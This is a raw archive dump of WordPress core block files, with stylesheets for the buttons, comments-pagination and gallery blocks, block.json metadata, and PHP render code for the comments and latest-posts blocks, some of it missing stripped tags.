.wp-block-buttons.is-content-justification-left.is-vertical { align-items: flex-start; } .wp-block-buttons.is-content-justification-center { justify-content: center; } .wp-block-buttons.is-content-justification-center.is-vertical { align-items: center; } .wp-block-buttons.is-content-justification-right { justify-content: flex-end; } .wp-block-buttons.is-content-justification-right.is-vertical { align-items: flex-end; } .wp-block-buttons.is-content-justification-space-between { justify-content: space-between; } .wp-block-buttons.aligncenter { text-align: center; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block-button.aligncenter { /* stylelint-enable indentation */ margin-right: auto; margin-left: auto; width: 100%; } .wp-block-button.aligncenter { text-align: center; }blocks/buttons/editor.min.css000064400000001756147177035020012320 0ustar00.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{display:inline-flex;align-items:center}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}blocks/buttons/block.json000064400000001345147177035020011515 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/buttons", "title": "Buttons", "category": "design", "description": "Prompt visitors to take action with a group of button-style links.", "keywords": [ "link" ], "textdomain": "default", "supports": { "anchor": true, "align": [ "wide", "full" ], "__experimentalExposeControlsToChildren": true, "spacing": { "blockGap": true, "margin": [ "top", "bottom" ], "__experimentalDefaultControls": { "blockGap": true } }, "__experimentalLayout": { "allowSwitching": false, "allowInheriting": false, "default": { "type": "flex" } } }, "editorStyle": "wp-block-buttons-editor", "style": "wp-block-buttons" } blocks/buttons/style-rtl.min.css000064400000002063147177035020012761 0ustar00.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-right:auto;margin-left:auto;width:100%}.wp-block-button.aligncenter{text-align:center}blocks/buttons/editor-rtl.min.css000064400000001756147177035020013117 0ustar00.wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{display:inline-flex;align-items:center}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-right:auto;margin-left:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end}blocks/buttons/style.css000064400000005315147177035020011403 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-buttons { /* stylelint-disable indentation */ } .wp-block-buttons.is-vertical { flex-direction: column; } .wp-block-buttons.is-vertical > .wp-block-button:last-child { margin-bottom: 0; } .wp-block-buttons > .wp-block-button { display: inline-block; margin: 0; } .wp-block-buttons.is-content-justification-left { justify-content: flex-start; } .wp-block-buttons.is-content-justification-left.is-vertical { align-items: flex-start; } .wp-block-buttons.is-content-justification-center { justify-content: center; } .wp-block-buttons.is-content-justification-center.is-vertical { align-items: center; } .wp-block-buttons.is-content-justification-right { justify-content: flex-end; } .wp-block-buttons.is-content-justification-right.is-vertical { align-items: flex-end; } .wp-block-buttons.is-content-justification-space-between { justify-content: space-between; } .wp-block-buttons.aligncenter { text-align: center; } .wp-block-buttons:not(.is-content-justification-space-between, .is-content-justification-right, .is-content-justification-left, .is-content-justification-center) .wp-block-button.aligncenter { /* stylelint-enable indentation */ margin-left: auto; margin-right: auto; width: 100%; } .wp-block-button.aligncenter { text-align: center; }blocks/comments-pagination/editor-rtl.css000064400000004404147177035020014604 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=center] > .wp-block-comments-pagination { justify-content: center; } .editor-styles-wrapper .wp-block-comments-pagination { max-width: 100%; } .editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout { margin: 0; } .wp-block-comments-pagination > .wp-block-comments-pagination-next, .wp-block-comments-pagination > .wp-block-comments-pagination-previous, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers { margin-right: 0; margin-top: 0.5em; margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-comments-pagination > .wp-block-comments-pagination-next:last-child, .wp-block-comments-pagination > .wp-block-comments-pagination-previous:last-child, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers:last-child { margin-right: 0; }blocks/comments-pagination/style.min.css000064400000001757147177035020014451 0ustar00.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-right:.5em;margin-bottom:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{margin-right:1ch;display:inline-block}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{margin-left:1ch;display:inline-block}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination.aligncenter{justify-content:center}blocks/comments-pagination/editor.css000064400000004445147177035020014012 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block[data-align=center] > .wp-block-comments-pagination { justify-content: center; } .editor-styles-wrapper .wp-block-comments-pagination { max-width: 100%; } .editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout { margin: 0; } .wp-block-comments-pagination > .wp-block-comments-pagination-next, .wp-block-comments-pagination > .wp-block-comments-pagination-previous, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers { margin-left: 0; margin-top: 0.5em; /*rtl:ignore*/ margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-comments-pagination > .wp-block-comments-pagination-next:last-child, .wp-block-comments-pagination > .wp-block-comments-pagination-previous:last-child, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers:last-child { /*rtl:ignore*/ margin-right: 0; }blocks/comments-pagination/style-rtl.css000064400000005006147177035020014455 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-comments-pagination > .wp-block-comments-pagination-next, .wp-block-comments-pagination > .wp-block-comments-pagination-previous, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers { margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-comments-pagination > .wp-block-comments-pagination-next:last-child, .wp-block-comments-pagination > .wp-block-comments-pagination-previous:last-child, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers:last-child { margin-right: 0; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow { margin-left: 1ch; display: inline-block; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron) { transform: scaleX(-1);; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow { margin-right: 1ch; display: inline-block; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron) { transform: scaleX(-1);; } .wp-block-comments-pagination.aligncenter { justify-content: center; }blocks/comments-pagination/editor.min.css000064400000001320147177035020014561 0ustar00.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}.editor-styles-wrapper .wp-block-comments-pagination{max-width:100%}.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin:.5em .5em .5em 0}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}blocks/comments-pagination/block.json000064400000001702147177035020013770 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/comments-pagination", "title": "Comments Pagination", "category": "theme", "parent": [ "core/comments-query-loop" ], "description": "Displays a paginated navigation to next/previous set of comments, when applicable.", "textdomain": "default", "attributes": { "paginationArrow": { "type": "string", "default": "none" } }, "providesContext": { "comments/paginationArrow": "paginationArrow" }, "supports": { "align": true, "reusable": false, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "__experimentalLayout": { "allowSwitching": false, "allowInheriting": false, "default": { "type": "flex" } } }, "editorStyle": "wp-block-comments-pagination-editor", "style": "wp-block-comments-pagination" } blocks/comments-pagination/style-rtl.min.css000064400000001761147177035020015243 0ustar00.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-right:.5em;margin-bottom:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{margin-left:1ch;display:inline-block}.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{margin-right:1ch;display:inline-block}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-comments-pagination.aligncenter{justify-content:center}blocks/comments-pagination/editor-rtl.min.css000064400000001355147177035020015370 0ustar00.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}.editor-styles-wrapper .wp-block-comments-pagination{max-width:100%}.editor-styles-wrapper .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{margin-top:.5em;margin-right:.5em;margin-bottom:.5em}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}blocks/comments-pagination/style.css000064400000005114147177035020013656 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-comments-pagination > .wp-block-comments-pagination-next, .wp-block-comments-pagination > .wp-block-comments-pagination-previous, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers { /*rtl:ignore*/ margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-comments-pagination > .wp-block-comments-pagination-next:last-child, .wp-block-comments-pagination > .wp-block-comments-pagination-previous:last-child, .wp-block-comments-pagination > .wp-block-comments-pagination-numbers:last-child { /*rtl:ignore*/ margin-right: 0; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow { margin-right: 1ch; display: inline-block; } .wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron) { transform: scaleX(1) /*rtl:scaleX(-1);*/; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow { margin-left: 1ch; display: inline-block; } .wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron) { transform: scaleX(1) /*rtl:scaleX(-1);*/; } .wp-block-comments-pagination.aligncenter { justify-content: center; }blocks/comments.php000064400000015157147177035020010376 0ustar00context['postId']; if ( ! isset( $post_id ) ) { return ''; } // Return early if there are no comments and comments are closed. if ( ! comments_open( $post_id ) && (int) get_comments_number( $post_id ) === 0 ) { return ''; } // If this isn't the legacy block, we need to render the static version of this block. $is_legacy = 'core/post-comments' === $block->name || ! empty( $attributes['legacy'] ); if ( ! $is_legacy ) { return $block->render( array( 'dynamic' => false ) ); } $post_before = $post; $post = get_post( $post_id ); setup_postdata( $post ); ob_start(); /* * There's a deprecation warning generated by WP Core. * Ideally this deprecation is removed from Core. * In the meantime, this removes it from the output. */ add_filter( 'deprecated_file_trigger_error', '__return_false' ); comments_template(); remove_filter( 'deprecated_file_trigger_error', '__return_false' ); $output = ob_get_clean(); $post = $post_before; $classnames = array(); // Adds the old class name for styles' backwards compatibility. if ( isset( $attributes['legacy'] ) ) { $classnames[] = 'wp-block-post-comments'; } if ( isset( $attributes['textAlign'] ) ) { $classnames[] = 'has-text-align-' . $attributes['textAlign']; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); /* * Enqueues scripts and styles required only for the legacy version. That is * why they are not defined in `block.json`. */ wp_enqueue_script( 'comment-reply' ); enqueue_legacy_post_comments_block_styles( $block->name ); return sprintf( '
    %2$s
    ', $wrapper_attributes, $output ); } /** * Registers the `core/comments` block on the server. * * @since 6.1.0 */ function register_block_core_comments() { register_block_type_from_metadata( __DIR__ . '/comments', array( 'render_callback' => 'render_block_core_comments', 'skip_inner_blocks' => true, ) ); } add_action( 'init', 'register_block_core_comments' ); /** * Use the button block classes for the form-submit button. * * @since 6.1.0 * * @param array $fields The default comment form arguments. * * @return array Returns the modified fields. */ function comments_block_form_defaults( $fields ) { if ( wp_is_block_theme() ) { $fields['submit_button'] = ''; $fields['submit_field'] = '

    %1$s %2$s

    '; } return $fields; } add_filter( 'comment_form_defaults', 'comments_block_form_defaults' ); /** * Enqueues styles from the legacy `core/post-comments` block. These styles are * required only by the block's fallback. * * @since 6.1.0 * * @param string $block_name Name of the new block type. */ function enqueue_legacy_post_comments_block_styles( $block_name ) { static $are_styles_enqueued = false; if ( ! $are_styles_enqueued ) { $handles = array( 'wp-block-post-comments', 'wp-block-buttons', 'wp-block-button', ); foreach ( $handles as $handle ) { wp_enqueue_block_style( $block_name, array( 'handle' => $handle ) ); } $are_styles_enqueued = true; } } /** * Ensures backwards compatibility for any users running the Gutenberg plugin * who have used Post Comments before it was merged into Comments Query Loop. * * The same approach was followed when core/query-loop was renamed to * core/post-template. * * @since 6.1.0 * * @see https://github.com/WordPress/gutenberg/pull/41807 * @see https://github.com/WordPress/gutenberg/pull/32514 */ function register_legacy_post_comments_block() { $registry = WP_Block_Type_Registry::get_instance(); /* * Remove the old `post-comments` block if it was already registered, as it * is about to be replaced by the type defined below. */ if ( $registry->is_registered( 'core/post-comments' ) ) { unregister_block_type( 'core/post-comments' ); } // Recreate the legacy block metadata. $metadata = array( 'name' => 'core/post-comments', 'category' => 'theme', 'attributes' => array( 'textAlign' => array( 'type' => 'string', ), ), 'uses_context' => array( 'postId', 'postType', ), 'supports' => array( 'html' => false, 'align' => array( 'wide', 'full' ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, ), ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, ), ), 'inserter' => false, ), 'style' => array( 'wp-block-post-comments', 'wp-block-buttons', 'wp-block-button', ), 'render_callback' => 'render_block_core_comments', 'skip_inner_blocks' => true, ); /* * Filters the metadata object, the same way it's done inside * `register_block_type_from_metadata()`. This applies some default filters, * like `_wp_multiple_block_styles`, which is required in this case because * the block has multiple styles. */ /** This filter is documented in wp-includes/blocks.php */ $metadata = apply_filters( 'block_type_metadata', $metadata ); register_block_type( 'core/post-comments', $metadata ); } add_action( 'init', 'register_legacy_post_comments_block', 21 ); blocks/latest-posts.php000064400000016441147177035020011210 0ustar00 $attributes['postsToShow'], 'post_status' => 'publish', 'order' => $attributes['order'], 'orderby' => $attributes['orderBy'], 'ignore_sticky_posts' => true, 'no_found_rows' => true, ); $block_core_latest_posts_excerpt_length = $attributes['excerptLength']; add_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); if ( isset( $attributes['categories'] ) ) { $args['category__in'] = array_column( $attributes['categories'], 'id' ); } if ( isset( $attributes['selectedAuthor'] ) ) { $args['author'] = $attributes['selectedAuthor']; } $query = new WP_Query; $recent_posts = $query->query( $args ); if ( isset( $attributes['displayFeaturedImage'] ) && $attributes['displayFeaturedImage'] ) { update_post_thumbnail_cache( $query ); } $list_items_markup = ''; foreach ( $recent_posts as $post ) { $post_link = esc_url( get_permalink( $post ) ); $title = get_the_title( $post ); if ( ! $title ) { $title = __( '(no title)' ); } $list_items_markup .= '
  • '; if ( $attributes['displayFeaturedImage'] && has_post_thumbnail( $post ) ) { $image_style = ''; if ( isset( $attributes['featuredImageSizeWidth'] ) ) { $image_style .= sprintf( 'max-width:%spx;', $attributes['featuredImageSizeWidth'] ); } if ( isset( $attributes['featuredImageSizeHeight'] ) ) { $image_style .= sprintf( 'max-height:%spx;', $attributes['featuredImageSizeHeight'] ); } $image_classes = 'wp-block-latest-posts__featured-image'; if ( isset( $attributes['featuredImageAlign'] ) ) { $image_classes .= ' align' . $attributes['featuredImageAlign']; } $featured_image = get_the_post_thumbnail( $post, $attributes['featuredImageSizeSlug'], array( 'style' => esc_attr( $image_style ), ) ); if ( $attributes['addLinkToFeaturedImage'] ) { $featured_image = sprintf( '%3$s', esc_url( $post_link ), esc_attr( $title ), $featured_image ); } $list_items_markup .= sprintf( '
    %2$s
    ', esc_attr( $image_classes ), $featured_image ); } $list_items_markup .= sprintf( '%2$s', esc_url( $post_link ), $title ); if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $author_display_name = get_the_author_meta( 'display_name', $post->post_author ); /* translators: byline. %s: current author. */ $byline = sprintf( __( 'by %s' ), $author_display_name ); if ( ! empty( $author_display_name ) ) { $list_items_markup .= sprintf( '', $byline ); } } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $list_items_markup .= sprintf( '', esc_attr( get_the_date( 'c', $post ) ), get_the_date( '', $post ) ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'excerpt' === $attributes['displayPostContentRadio'] ) { $trimmed_excerpt = get_the_excerpt( $post ); if ( post_password_required( $post ) ) { $trimmed_excerpt = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '
    %1$s
    ', $trimmed_excerpt ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'full_post' === $attributes['displayPostContentRadio'] ) { $post_content = html_entity_decode( $post->post_content, ENT_QUOTES, get_option( 'blog_charset' ) ); if ( post_password_required( $post ) ) { $post_content = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '
    %1$s
    ', wp_kses_post( $post_content ) ); } $list_items_markup .= "
  • \n"; } remove_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); $class = 'wp-block-latest-posts__list'; if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) { $class .= ' is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) { $class .= ' columns-' . $attributes['columns']; } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $class .= ' has-dates'; } if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $class .= ' has-author'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $class ) ); return sprintf( '
      %2$s
    ', $wrapper_attributes, $list_items_markup ); } /** * Registers the `core/latest-posts` block on server. */ function register_block_core_latest_posts() { register_block_type_from_metadata( __DIR__ . '/latest-posts', array( 'render_callback' => 'render_block_core_latest_posts', ) ); } add_action( 'init', 'register_block_core_latest_posts' ); /** * Handles outdated versions of the `core/latest-posts` block by converting * attribute `categories` from a numeric string to an array with key `id`. * * This is done to accommodate the changes introduced in #20781 that sought to * add support for multiple categories to the block. However, given that this * block is dynamic, the usual provisions for block migration are insufficient, * as they only act when a block is loaded in the editor. * * TODO: Remove when and if the bottom client-side deprecation for this block * is removed. * * @param array $block A single parsed block object. * * @return array The migrated block object. */ function block_core_latest_posts_migrate_categories( $block ) { if ( 'core/latest-posts' === $block['blockName'] && ! empty( $block['attrs']['categories'] ) && is_string( $block['attrs']['categories'] ) ) { $block['attrs']['categories'] = array( array( 'id' => absint( $block['attrs']['categories'] ) ), ); } return $block; } add_filter( 'render_block_data', 'block_core_latest_posts_migrate_categories' ); blocks/gallery/editor-rtl.css000064400000012513147177035020012267 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ figure.wp-block-gallery { display: block; } figure.wp-block-gallery.has-nested-images .components-drop-zone { display: none; pointer-events: none; } figure.wp-block-gallery > .blocks-gallery-caption { flex: 0 0 100%; } figure.wp-block-gallery > .blocks-gallery-media-placeholder-wrapper { flex-basis: 100%; } figure.wp-block-gallery .wp-block-image .components-notice.is-error { display: block; } figure.wp-block-gallery .wp-block-image .components-notice__content { margin: 4px 0; } figure.wp-block-gallery .wp-block-image .components-notice__dismiss { position: absolute; top: 0; left: 5px; } figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label { display: none; } figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button { margin-bottom: 0; } figure.wp-block-gallery .block-editor-media-placeholder { margin: 0; } figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label { display: flex; } figure.wp-block-gallery .block-editor-media-placeholder figcaption { z-index: 2; } figure.wp-block-gallery .components-spinner { position: absolute; top: 50%; right: 50%; margin-top: -9px; margin-right: -9px; } /** * Gallery inspector controls settings. */ .gallery-settings-buttons .components-button:first-child { margin-left: 8px; } .gallery-image-sizes .components-base-control__label { display: block; margin-bottom: 4px; } .gallery-image-sizes .gallery-image-sizes__loading { display: flex; align-items: center; color: #757575; font-size: 12px; } .gallery-image-sizes .components-spinner { margin: 0 4px 0 8px; } /** * Deprecated css past this point. This can be removed once all galleries are migrated * to V2. */ .blocks-gallery-item figure:not(.is-selected):focus, .blocks-gallery-item img:focus { outline: none; } .blocks-gallery-item figure.is-selected::before { box-shadow: 0 0 0 1px 